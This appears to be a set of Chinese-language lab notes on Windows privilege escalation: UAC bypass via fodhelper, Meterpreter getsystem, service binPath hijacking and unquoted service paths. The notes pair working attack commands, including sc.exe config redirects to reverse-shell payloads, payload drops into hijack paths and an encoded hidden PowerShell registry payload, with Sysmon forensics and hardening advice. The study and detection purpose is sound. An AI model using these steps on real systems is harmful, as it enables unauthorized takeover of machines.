# Windows Privilege Escalation(Windows 权限提升)

# 01_Privilege Escalation Enumeration

# 1.1 权限提升枚举概述

在获取初始访问权限(Initial Access)后,攻击者通常处于低权限状态。权限提升枚举(Privilege Escalation Enumeration)旨在发现操作系统配置缺陷、服务权限设置不当或内核漏洞,从而将权限提升至 SYSTEM 或本地管理员(Local Admin)。

# 1.2 使用 AccessChk 进行手动枚举

AccessChk 是 Microsoft Sysinternals 套件中的命令行工具,用于查看文件或注册表键的有效权限。在提权枚举中,常用于查找低权限用户(如 EveryoneUsers 组)拥有写入或修改权限的敏感目录和服务。

(注:已修正原笔记中 Evertone 的拼写错误,并补全了标准的参数组合)

1. 查找 Everyone 组可写的目录(用于 DLL 劫持或二进制替换):

# -u: 忽略错误, -w: 仅显示可写, -d: 仅目录, -q: 静默模式, -s: 递归子目录
.\accesschk64.exe -uwdqs "Everyone" C:\

2. 查找 Everyone 组可配置 / 可修改的服务(用于服务提权):

# -u: 忽略错误, -w: 仅显示可写, -c: 仅服务, -q: 静默模式, -v: 详细模式
.\accesschk64.exe -uwcqv "Everyone" *

# 1.3 使用 PowerUp.ps1 进行自动化枚举

PowerUp.ps1 是 PowerSploit 框架(或独立版本)中的核心提权枚举脚本。它通过检查 Windows 系统的常见错误配置,自动寻找提权向量。

执行方式:

# 绕过执行策略并导入模块
powershell -ep bypass
. .\PowerUp.ps1
# 运行所有检查并输出结果
Invoke-AllChecks

PowerUp 重点检测的潜在漏洞:

  1. 未加引号的服务路径 (Unquoted Service Paths)

    • 原理:如果服务的可执行文件路径包含空格且未用引号包裹(例如 C:\Program Files\My App\service.exe ),Windows 在解析时会从右向左截断空格,尝试执行 C:\Program Files\My.exe
    • 利用:如果攻击者对 C:\Program Files\ 有写入权限,可以放置恶意的 My.exe 。当服务重启时,系统将优先执行恶意文件(以 SYSTEM 权限)。
    • PowerUp 输出Unquoted Service Paths 部分会列出存在此漏洞的服务及可利用的插入路径。
  2. 可修改的服务 (Modifiable Services)

    • 原理:当前低权限用户被错误地授予了对某个以 SYSTEM 权限运行的服务的 SERVICE_CHANGE_CONFIG (修改配置)或 SERVICE_START (启动服务)权限。
    • 利用:攻击者可以使用 sc config 或 PowerUp 的 Install-ServiceBinary 功能,将服务的 binPath (二进制路径)修改为指向恶意可执行文件(如反弹 Shell),然后重启该服务以获取 SYSTEM 权限。
    • PowerUp 输出Modifiable Services 部分会列出当前用户有权修改的服务名称。
  3. 本地管理员权限与凭据泄露 (Local Admin & Credentials)

    • 原理:检查当前用户是否已经是本地管理员组的成员(可能通过组策略嵌套),或者在系统注册表(如 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon )、Unattend.xml 文件、McAfee SiteList.xml 或内存中发现了明文 / 加密的本地管理员凭据。
    • 利用:直接提取凭据进行 Pass-the-Hash 或明文登录,实现权限提升。
    • PowerUp 输出Cached GPP PasswordRegistry Autologon 等部分会提取并尝试解密这些凭据。

# 02_Bypassing UAC (User Account Control)

# 2.1 攻击原理与工具介绍

UAC Bypass 旨在不弹出 UAC 提示框的情况下,将当前进程的完整性级别(Integrity Level)从 Medium(中等)提升至 High(高 / 管理员)。

  • 核心目标程序 fodhelper.exe :Windows 10 引入的 “按需功能” 助手。其可执行文件清单(Manifest)中配置了 autoElevate=true ,且默认会读取当前用户的注册表项 HKCU\Software\Classes\ms-settings\shell\open\command
  • 攻击逻辑:攻击者提前将恶意 Payload 路径写入上述注册表项,然后以静默方式启动 fodhelper.exe 。由于该程序具有自动提权属性,它会以 High 权限执行注册表中配置的恶意命令,从而实现 UAC Bypass。
  • 利用工具:本例使用 PowerShell Empire 项目中的 fodhelper_load.ps1 脚本进行自动化利用。

# 2.2 攻击执行与权限验证

在 Meterpreter 会话中执行 Bypass 脚本后,验证权限提升结果:

meterpreter > getuid
Server username: CLIENT01\offsec
meterpreter > shell
Process 8344 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19042.1526]
C:\Windows\system32>whoami /groups
...
Mandatory Label\High Mandatory Level                    Label            S-1-16-12288

分析要点Mandatory Level 显示为 High,证明 UAC Bypass 成功。但需注意,UAC Bypass 仅能提升到 High(管理员),无法直接突破到 SYSTEM 权限。若需 SYSTEM 权限,仍需依赖服务配置错误、内核漏洞等其他提权手段。

# 2.3 基于 Sysmon 的深度溯源分析

通过 Sysmon 日志,可以完美还原 fodhelper UAC Bypass 的完整攻击链。

# 步骤 1:注册表劫持 (Event ID 13)

攻击脚本首先修改注册表,将 ms-settings 协议的执行命令指向恶意 Payload。

Get-SysmonEvent -EventId 13 -Start "3/3/2022 16:46:25" -End "3/3/2022 16:46:26" | 
Format-List TimeCreated, @{Label="TargetObject";Expression={$_.Properties[1].Value}}, @{Label="Details";Expression={$_.Properties[2].Value}}

关键日志特征

  • TargetObject 1: ...\ms-settings\Shell\Open\command\DelegateExecute -> Details: (Empty) (清空该值以强制使用 Default 值)。
  • TargetObject 2: ...\ms-settings\Shell\Open\command\(Default) -> Details: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -W Hidden -enc $x
  • 分析:这是典型的 fodhelper 劫持手法。Payload 被隐藏在注册表的 Windows Update 键值中,并通过 Base64 编码执行,以规避命令行日志的直接记录。

# 步骤 2:触发 Auto-Elevate 进程 (Event ID 1)

注册表修改完成后,脚本静默启动 fodhelper.exe

Get-SysmonEvent -EventId 1 -Start "3/3/2022 16:46:25" -End "3/3/2022 16:46:28" | 
Where-Object { $_.Properties[4].Value -like "*fodhelper*" } | 
Format-List TimeCreated, @{Label="Image";Expression={$_.Properties[4].Value}}, @{Label="IntegrityLevel";Expression={$_.Properties[13].Value}}, @{Label="ParentImage";Expression={$_.Properties[20].Value}}

关键日志特征

  • Image: C:\Windows\System32\fodhelper.exe
  • IntegrityLevel: Medium (注意:此时 fodhelper.exe 本身启动时仍是 Medium,但它启动的子进程将是 High)。
  • ParentImage: powershell.exe (由攻击脚本触发)。

# 步骤 3:高权限 Payload 执行 (Event ID 1)

fodhelper.exe 读取被劫持的注册表,以 High 权限执行了攻击者预设的 PowerShell 命令,该命令最终释放并执行了真正的反弹 Shell 程序 ( fodshell_443.exe )。

Get-SysmonEvent -EventId 1 -Start "3/3/2022 16:46:25" -End "3/3/2022 16:46:28" | 
Where-Object { $_.Properties[4].Value -like "*fodshell*" } | 
Format-List TimeCreated, @{Label="Image";Expression={$_.Properties[4].Value}}, @{Label="IntegrityLevel";Expression={$_.Properties[13].Value}}, @{Label="ParentImage";Expression={$_.Properties[20].Value}}

关键日志特征

  • Image: C:\tools\windows_privilege_escalation\fodshell_443.exe
  • IntegrityLevel: High (核心证据!证明提权成功)。
  • ParentImage: powershell.exe (由 fodhelper 触发的隐藏 PowerShell 进程拉起)。

# 2.4 基于 PowerShell Logging 的辅助分析

结合 PowerShell 模块日志 (Event ID 4103),可以还原攻击脚本内部的调用逻辑。

# 导入自定义查询函数
Import-Module C:\Sysmon\Get-PSLog.psm1
# 查询 4103 事件,分析 Start-Process 的调用
Get-PSLogEvent -EventId 4103 -Start "3/3/2022 16:46:25" -End "3/3/2022 16:46:27" | 
Format-List TimeCreated, @{Label="Command";Expression={$_.Properties[1].Value}}, @{Label="Parameters";Expression={$_.Properties[2].Value}}

关键日志特征

  • CommandInvocation: Start-Process
  • ParameterBinding:
    • FilePath = C:\Windows\system32\fodhelper.exe (第一次调用,触发提权)
    • FilePath = C:\tools\windows_privilege_escalation\fodshell_443.exe (第二次调用,在高权限上下文中执行最终的 Shell)
  • 分析:日志清晰地暴露了脚本的执行逻辑。同时,在第二次调用的 Host Application 中,可以看到那段 Base64 编码 ( UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcw... ),解码后正是 Start-Process C:\tools\...\fodshell_443.exe 。这再次证明了 Script Block/Module Logging 对抗编码混淆的有效性。

# 2.5 后续追踪思路:定位网络特征

通过 Sysmon Event ID 1 获取到最终执行反弹 Shell 的进程 PID(本例中为 3124 ),即可进一步查询网络外联日志,确认 C2 通信情况:

# 通过 PID 追踪网络连接 (Event ID 3)
Get-SysmonEvent -EventId 3 -Start "3/3/2022 16:46:26" -End "3/3/2022 16:47:00" | 
Where-Object { $_.Properties[3].Value -eq 3124 } | 
Format-List TimeCreated, @{Label="Image";Expression={$_.Properties[4].Value}}, @{Label="DestinationIP";Expression={$_.Properties[14].Value}}, @{Label="DestinationPort";Expression={$_.Properties[16].Value}}

# 03_Service Creation & Privilege Escalation (getsystem)

# 3.1 权限提升工具 getsystem 概述

在 Meterpreter 中, getsystem 命令用于将当前会话的权限从本地管理员(Local Admin)提升至最高系统权限( NT AUTHORITY\SYSTEM )。

通过 -t 参数可以指定提权技术,默认 0 为尝试所有可用技术:

  • Technique 1: Named Pipe Impersonation (In Memory/Admin) - 命名管道模拟(内存中)
  • Technique 2: Named Pipe Impersonation (Dropper/Admin) - 命名管道模拟(落盘)
  • Technique 3: Token Duplication (In Memory/Admin) - 令牌复制(利用 RPCSS 服务)
  • Technique 4: Named Pipe Impersonation (RPCSS variant) - 命名管道模拟(RPCSS 变体)

注:本案例主要复现并分析 命名管道模拟(Technique 1/2) 的攻击过程及其在日志中留下的痕迹。

# 3.2 核心原理:命名管道模拟 (Named Pipe Impersonation)

# 3.2.1 关键概念辨析

在理解该技术之前,需要明确以下两个核心概念:

  1. 命名管道(Named Pipe)是本地内存通道,非远程服务
  • 路径格式如 \\.\pipe\shdzns 中, . 代表 Localhost。管道是 Windows 系统内部一种运行在本地内存中的进程间通信(IPC)机制,并非远端服务。
  1. 重定向的真正目的:诱骗凭证而非传递输入输出
  • 攻击者将服务的启动命令定向写入管道( echo data > \\.\pipe\... ),目的并非获取服务的标准输出,而是 “强制” 让 SYSTEM 权限的服务主动连接攻击者监听的管道,从而触发 Windows 的身份模拟机制。

# 3.2.2 详细提权与 Token 窃取流程

该技术本质是利用 Windows 的 ImpersonateNamedPipeClient API 实现客户端 Token 窃取,完整链条如下:

  1. 设置管道陷阱(Admin 权限)
  • 攻击者在当前的 Meterpreter 进程(Admin 权限)中建立一个命名管道服务端(如 \\.\pipe\shdzns ),并开始等待客户端连接。
  1. 创建 SYSTEM 级服务
  • 攻击者利用已有管理员权限向服务控制管理器( services.exe )注册一个临时 Windows 服务,将启动账户设为 LocalSystem ,执行命令设为向管道写入数据:
    cmd.exe /c echo shdzns > \\.\pipe\shdzns
  1. 高权限进程拉起与连接
  • 服务启动时,本身拥有最高权限的 services.exeNT AUTHORITY\SYSTEM 账户拉起子进程 cmd.exe
  • cmd.exe 继承父进程的 SYSTEM 权限,执行重定向命令,作为客户端主动连接攻击者的命名管道。
  1. 窃取 Token(Impersonation)
  • 当 SYSTEM 级的 cmd.exe 连接上管道的一瞬间,在管道另一端监听的攻击者进程立即调用 Windows API ImpersonateNamedPipeClient()
  • Windows 检查连接者身份(为 SYSTEM)后,允许管道服务端(攻击者)复制并借用该客户端的安全令牌(Token)
  1. 创建 SYSTEM 新进程
  • 攻击者拿到 SYSTEM Token 后,调用 CreateProcessWithTokenW 或类似 API 开启新进程,完成从 Admin 到 SYSTEM 的权限提升。

# 3.3 溯源分析:Security 日志 (Event ID 4697)

服务创建行为会被记录在 Security 日志的 Event ID 4697(A service was installed in the system)中。

1. 初步定位服务安装事件

# 导入自定义查询函数
Import-Module C:\Sysmon\Get-Security.psm1
# 查询攻击时间段内的 4697 事件
Get-SecurityEvent -EventId 4697 -Start "3/4/2022 15:07:00" -End "3/4/2022 15:08:00"

2. 详细分析 4697 事件内容

Get-SecurityEvent -EventId 4697 -Start "3/4/2022 15:07:41" -End "3/4/2022 15:07:43" | Format-List TimeCreated, Message

关键日志字段提取与分析

  • Service Name: shdzns (Meterpreter 随机生成的 6 位字符串,用于隐藏真实意图)。
  • Service File Name: cmd.exe /c echo shdzns > \\.\pipe\shdzns核心特征:命令并非启动一个常规的可执行文件,而是通过 cmd.exe 向本地命名管道写入数据,这是诱骗 SYSTEM 连接管道的铁证)。
  • Service Account: LocalSystem (确认服务以最高权限运行,保证拉起的 cmd.exe 携带 SYSTEM Token)。

# 3.4 溯源分析:Sysmon 日志 (Event ID 13 & 1)

Sysmon 提供了更细粒度的进程和注册表操作记录,能够完整还原 getsystem 的动态执行过程。

1. 注册表修改与服务配置 (Event ID 13)

# 导入 Sysmon 查询模块
Import-Module C:\Sysmon\Get-Sysmon.psm1
# 查询同一时间段的注册表修改事件
Get-SysmonEvent -EventId 13 -Start "3/4/2022 15:07:41" -End "3/4/2022 15:07:43" | Format-List TimeCreated, @{Label="TargetObject";Expression={$_.Properties[1].Value}}, @{Label="Details";Expression={$_.Properties[2].Value}}, @{Label="Image";Expression={$_.Properties[4].Value}}

关键日志特征

  • Image: C:\Windows\system32\services.exe (服务控制管理器,负责服务的创建和启动)。
  • TargetObject 1: HKLM\System\CurrentControlSet\Services\shdzns\ImagePath -> Details: cmd.exe /c echo shdzns > \\.\pipe\shdzns (写入服务的可执行路径)。
  • TargetObject 2 & 3: HKLM\System\CurrentControlSet\Services\shdzns\Start
  • 第一次修改为 DWORD (0x00000003) (Demand Start / 手动启动,用于触发服务执行)。
  • 第二次修改为 DWORD (0x00000004) (Disabled / 禁用,攻击者在窃取 Token 后,迅速将服务改为禁用状态,防止系统重启后再次执行或引起怀疑)。

2. 高权限进程创建 (Event ID 1)

# 查询进程创建事件
Get-SysmonEvent -EventId 1 -Start "3/4/2022 15:07:41" -End "3/4/2022 15:07:43" | Format-List TimeCreated, @{Label="Image";Expression={$_.Properties[4].Value}}, @{Label="User";Expression={$_.Properties[12].Value}}, @{Label="ParentImage";Expression={$_.Properties[20].Value}}, @{Label="CommandLine";Expression={$_.Properties[10].Value}}

关键日志特征

  • Image: C:\Windows\System32\cmd.exe
  • User: NT AUTHORITY\SYSTEM核心证据:证明该 cmd.exe 继承了 services.exe 的最高 SYSTEM 权限)。
  • ParentImage: C:\Windows\System32\services.exe (清晰体现由服务控制管理器拉起的父子进程关系)。
  • CommandLine: cmd.exe /c echo shdzns > \\.\pipe\shdzns (执行向管道写数据的命令,从而触发 Token 模拟)。

分析总结:Sysmon 日志完美印证了 Security 日志的结论,并补充了注册表动态修改和进程父子关系的细节,形成了完整的证据链。


# 3.5 痕迹清理与 “阅后即焚” 机制

在攻击完成后,尝试在系统中查找该服务时,会发现它已经不存在了:

# 尝试查询注册表中的服务项
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\shdzns
# 报错:Cannot find path ... because it does not exist.
# 尝试查询服务状态
Get-Service shdzns
# 报错:Cannot find any service with service name'shdzns'.

原因解析
Meterpreter 的 getsystem 模块具备自动清理机制。一旦它通过命名管道成功窃取了 SYSTEM Token 并完成了权限提升,它会立即执行以下清理操作:

  1. 停止该临时服务。
  2. 从注册表中彻底删除该服务的配置项( HKLM\SYSTEM\CurrentControlSet\Services\shdzns )。
  3. 关闭并销毁内存中的命名管道。
  4. 删除磁盘上可能残留的临时文件(如果是 Technique 2 落盘模式)。

安全启示
这种 “阅后即焚” 机制极大地增加了事后排查的难度。如果防守方没有开启 SysmonSecurity 日志审计(特别是 Event ID 4697),这种基于内存和短暂服务创建的提权行为将极难被发现。因此,持续监控 4697 事件并结合 Sysmon 进行进程 / 注册表关联分析,是检测此类高级提权手段的唯一有效途径。

# 04_Attacking Service Permissions (可修改服务权限提权)

# 4.1 攻击原理

可修改服务权限 (Modifiable Service Permissions) 是 Windows 提权中非常经典且常见的一种配置缺陷。
如果低权限用户(如 UsersEveryone )对某个以 LocalSystem (SYSTEM) 权限运行的服务拥有 SERVICE_CHANGE_CONFIG (修改配置)权限,攻击者就可以将该服务的 binPath (二进制可执行文件路径)修改为恶意 Payload。当服务被启动或重启时,系统会以 SYSTEM 权限执行该恶意程序,从而实现权限提升。

# 4.2 枚举与侦察

在利用此漏洞前,需要确认目标服务是否以 SYSTEM 运行,且当前用户是否有权修改其配置。

1. 查询服务基础配置
使用 sc.exe qc (Query Configuration) 查看服务的详细信息:

sc.exe qc usosvc
sc.exe qc Serviio

分析要点:重点关注 BINARY_PATH_NAME (服务对应的可执行文件路径)和 SERVICE_START_NAME (运行账户,必须为 LocalSystem 才有提权价值)。

2. 检查服务权限
使用 Sysinternals 的 accesschk.exe 检查当前用户对该服务的访问权限:

.\accesschk64.exe -c Serviio -l

参数解释-c 表示检查服务 (Service), -l 表示仅列出时间 / 权限信息。
分析要点:在输出结果中寻找当前用户(如 CLIENT01\offsec )或所属组(如 BUILTIN\Users )是否拥有 SERVICE_CHANGE_CONFIG SERVICE_ALL_ACCESS 权限。

# 4.3 漏洞利用

确认权限后,修改服务路径并启动服务。

1. 修改服务二进制路径

sc.exe config Serviio binpath= "C:\tools\windows_privilege_escalation\servshell_443.exe"

(注: binpath= 后面必须保留一个空格,这是 sc.exe 的语法要求。)

2. 启动服务

net start serviio

现象分析:执行后通常会报错(如 [SC] StartService FAILED 1053: )。这是因为:Meterpreter/Msfvenom 生成的 servshell_443.exe 是一个普通的可执行文件,并没有实现 Windows 服务控制管理器 (SCM) 所要求的服务交互 API(如 StartServiceCtrlDispatcher )。SCM 在等待服务响应超时后会报错,但此时恶意 Payload 已经作为 SYSTEM 进程成功执行并建立了反弹 Shell

# 4.4 审计与溯源 (Sysmon 分析)

通过 Sysmon 日志,可以完整还原从 “修改配置” 到 “高权限执行” 的攻击链。

# 阶段一:捕获配置修改动作

攻击者执行 sc.exe config 时,会留下进程创建和注册表修改的痕迹。

1. 进程创建 (Event ID 1)

Get-SysmonEvent -EventId 1 -Start "3/4/2022 20:17:00" -End "3/4/2022 20:18:00" | 
Where-Object { $_.Properties[4].Value -like "*sc.exe*" } | 
Format-List TimeCreated, @{Label="Image";Expression={$_.Properties[4].Value}}, @{Label="CommandLine";Expression={$_.Properties[10].Value}}, @{Label="User";Expression={$_.Properties[12].Value}}

日志特征

  • Image: C:\Windows\System32\sc.exe
  • CommandLine: "C:\Windows\system32\sc.exe" config Serviio binpath= C:\tools\windows_privilege_escalation\servshell_443.exe
  • User: CLIENT01\offsec (Medium 权限)
  • 分析:直接暴露了攻击者修改了哪个服务以及目标 Payload 的路径。

2. 注册表修改 (Event ID 13)
sc.exe config 的底层实现是修改注册表。

Get-SysmonEvent -EventId 13 -Start "3/4/2022 20:17:00" -End "3/4/2022 20:18:00" | 
Where-Object { $_.Properties[1].Value -like "*Serviio*" } | 
Format-List TimeCreated, @{Label="TargetObject";Expression={$_.Properties[1].Value}}, @{Label="Details";Expression={$_.Properties[2].Value}}, @{Label="Image";Expression={$_.Properties[4].Value}}

日志特征

  • Image: C:\Windows\system32\services.exe (服务控制管理器)
  • TargetObject: HKLM\System\CurrentControlSet\Services\Serviio\ImagePath
  • Details: C:\tools\windows_privilege_escalation\servshell_443.exe
  • 分析:确认服务的可执行路径已被系统底层(services.exe)成功篡改。

# 阶段二:追踪服务启动与高权限执行 (进程链分析)

当攻击者执行 net start serviio 时,Sysmon 会记录一条非常经典的 Windows 服务启动进程链。

Get-SysmonEvent -EventId 1 -Start "03/04/2022 20:19:17" -End "03/04/2022 20:20:17" | 
Format-List @{Label="UtcTime";Expression={$_.Properties[1].Value}}, 
             @{Label="Image";Expression={$_.Properties[4].Value}}, 
             @{Label="ProcessId";Expression={$_.Properties[3].Value}}, 
             @{Label="CommandLine";Expression={$_.Properties[10].Value}}, 
             @{Label="User";Expression={$_.Properties[12].Value}}, 
             @{Label="ParentImage";Expression={$_.Properties[20].Value}}, 
             @{Label="ParentProcessId";Expression={$_.Properties[19].Value}}

进程链还原与深度分析
通过 ParentProcessIdProcessId 的关联,可以画出完整的执行树:

  1. powershell.exe (PID 10208)
    • 动作:攻击者的初始 Shell,输入了 net start serviio
  2. net.exe (PID 6484)
    • Parent: powershell.exe
    • CommandLine: "C:\Windows\system32\net.exe" start serviio
    • User: CLIENT01\offsec (Medium)
  3. net1.exe (PID 2060)
    • Parent: net.exe
    • CommandLine: C:\Windows\system32\net1 start serviio
    • 分析:Windows 的 net.exe 实际工作进程,负责向 SCM 发送启动服务的 RPC 请求。
  4. services.exe (PID 588)
    • Parent: net1.exe (注:严格来说 services.exe 是系统核心进程,这里记录的是它响应 net1 的请求并准备拉起子进程的动作,或者在某些 Sysmon 版本中体现为 SCM 线程的活动)。
    • 分析:Windows 服务控制管理器 (SCM),负责读取注册表中的 ImagePath 并创建新进程。
  5. servshell_443.exe (PID 5840) 🚨 核心目标
    • Parent: services.exe (PID 588)
    • User: NT AUTHORITY\SYSTEM (最高权限)
    • Image: C:\tools\windows_privilege_escalation\servshell_443.exe
    • 分析:这是被篡改后实际执行的恶意 Payload。它的父进程是 services.exe ,且运行身份为 SYSTEM这构成了服务权限滥用的铁证

# 4.5 总结与防御建议

  • 检测规则
    1. 监控 Event ID 4697 (Security) 或 Event ID 13 (Sysmon),查找 ImagePath 被修改为可疑路径(如 C:\Users\Public\C:\Temp\ 或包含 shellnc 等关键字)的服务。
    2. 监控 Event ID 1 (Sysmon),查找 services.exe 作为父进程,但子进程是未知或可疑可执行文件的行为。
  • 防御加固
    1. 定期使用 accesschk.exe 或 PowerShell 脚本审计所有以 SYSTEM 运行的服务的权限,确保低权限用户没有 SERVICE_CHANGE_CONFIG 权限。
    2. 遵循最小权限原则,修复 Windows 默认配置中可能存在的服务 ACL 错误。

# 05_Leveraging Unquoted Service Paths (利用未加引号的服务路径)

# 5.1 漏洞原理:Windows 路径解析机制

未加引号的服务路径(Unquoted Service Paths) 是 Windows 提权中最经典的配置缺陷之一。

核心原理
当 Windows 服务控制管理器(SCM)启动一个服务时,如果该服务的可执行文件路径( BINARY_PATH_NAME )包含空格且没有使用双引号包裹,Windows 在解析路径时会采用 “从右向左截断空格” 的机制,依次尝试执行不同的路径。

示例
假设服务的真实路径为: C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe (无引号)
Windows 会按以下顺序尝试执行:

  1. C:\Program.exe
  2. C:\Program Files.exe
  3. C:\Program Files (x86)\IObit.exe <-- 如果攻击者对 C:\Program Files (x86)\IObit\ 目录有写入权限,即可在此处放置恶意文件 IObit.exe
  4. C:\Program Files (x86)\IObit\IObit.exe
  5. C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe (最终执行真实程序)

# 5.2 枚举与侦察

使用 PowerSploit 框架中的 PowerUp.ps1 自动寻找存在此漏洞的服务。

1. 运行自动化检测

Import-Module .\PowerUp.ps1
Get-UnquotedService

2. 分析输出结果

ServiceName   : IObitUnSvr
Path          : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiablePath: @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=BUILTIN\Users; Permissions=System.Object[]}
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
CanRestart    : False

关键分析点

  • Path:路径包含空格且无引号。
  • ModifiablePath:指出当前用户( BUILTIN\Users )对 C:\Program Files (x86)\IObit 目录具有写入权限。
  • StartNameLocalSystem ,意味着利用成功后可获得最高 SYSTEM 权限。
  • CanRestartFalse 。表示当前用户没有权限直接重启该服务(无法立即提权)。
  • AbuseFunction:PowerUp 给出的利用建议,即使用 Write-ServiceBinary 在可写路径下生成恶意二进制文件。

3. 验证服务配置
使用 sc.exe 进一步确认服务状态:

sc.exe qc IOBitUnSvr

确认 BINARY_PATH_NAME 确实无引号,且 START_TYPEAUTO_START (自动启动)。

# 5.3 漏洞利用策略:利用系统重启实现提权 / 持久化

由于 CanRestartFalse ,我们无法通过 net stop / net start 立即触发漏洞。但利用其 AUTO_START 特性,我们可以将 Payload 植入可写目录,等待目标机器重启。当系统启动时,SCM 会自动拉起该服务,从而在用户登录前以 SYSTEM 权限执行我们的恶意代码。

1. 投递 Payload
根据 Windows 的路径解析顺序,我们将恶意程序命名为 IObit.exe ,并放置在 C:\Program Files (x86)\IObit\ 目录下。

# 将 Meterpreter 生成的反弹 Shell 复制到劫持路径
copy .\servshell_443.exe 'C:\Program Files (x86)\IObit\IObit.exe'

2. 触发执行
等待目标机器重启。重启后,攻击者监听的端口将收到来自 SYSTEM 权限的反弹 Shell 连接。

# 5.4 审计与溯源 (Sysmon 分析)

通过 Sysmon 日志,可以完美还原从 “Payload 落地” 到 “系统级劫持执行” 的完整过程。

# 阶段一:追踪恶意文件落地 (Event ID 11)

在攻击者执行 copy 命令时,Sysmon 会记录文件创建事件。
(注:此处触发了 Sysmon 配置中专门针对 .exe 文件创建的 EXE 规则)

Get-SysmonEvent -EventId 11 -Start "3/5/2022 12:15:06" -End "3/5/2022 12:15:08" | 
Format-List TimeCreated, 
    @{Label="RuleName";Expression={$_.Properties[0].Value}}, 
    @{Label="Image";Expression={$_.Properties[4].Value}}, 
    @{Label="TargetFilename";Expression={$_.Properties[5].Value}}

关键日志特征

  • RuleName: EXE (Sysmon 规则命中)
  • Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (执行 copy 命令的进程)
  • TargetFilename: C:\Program Files (x86)\IObit\IObit.exe (恶意 Payload 的落地路径)
  • 分析:这证明了攻击者成功在存在漏洞的目录层级下放置了可执行文件。

# 阶段二:追踪系统启动时的劫持执行 (Event ID 1)

系统重启后,SCM ( services.exe ) 会尝试启动 IOBitUnSvr 服务。此时,Windows 的路径解析机制生效,优先执行了我们放置的 IObit.exe

Get-SysmonEvent -EventId 1 | 
Where-Object { $_.Properties[4].Value -like "*IObit.exe*" } | 
Format-List TimeCreated, 
    @{Label="Image";Expression={$_.Properties[4].Value}}, 
    @{Label="User";Expression={$_.Properties[12].Value}}, 
    @{Label="ParentImage";Expression={$_.Properties[20].Value}}, 
    @{Label="CommandLine";Expression={$_.Properties[10].Value}}

关键日志特征与深度剖析

  • Image: C:\Program Files (x86)\IObit\IObit.exe (被劫持执行的恶意程序)
  • User: NT AUTHORITY\SYSTEM (核心证据:证明提权成功)
  • ParentImage: C:\Windows\System32\services.exe (由 Windows 服务控制管理器在系统启动时自动拉起)
  • CommandLine: "C:\Program Files (x86)\IObit\IObit.exe" Uninstaller\IUService.exe
    • 🚨 漏洞铁证:请仔细观察 CommandLine !由于原始服务路径没有引号,Windows 将空格后的 Uninstaller\IUService.exe 错误地解析为了传递给 IObit.exe 的命令行参数。这是未加引号服务路径漏洞在日志中最典型、最无可辩驳的特征!

# 5.5 修复与防御建议

  1. 添加引号:在服务配置中,为包含空格的路径添加双引号(例如: "C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe" )。
  2. 修复目录权限:使用 icacls 命令收紧服务所在目录及其父目录的 ACL,确保低权限用户(如 Users , Everyone )没有写入( W )或修改( M )权限。
    icacls "C:\Program Files (x86)\IObit" /remove "BUILTIN\Users" /T
    
  3. 定期审计:使用 PowerUp ( Get-UnquotedService ) 或专门的审计脚本定期扫描系统中的未加引号服务路径。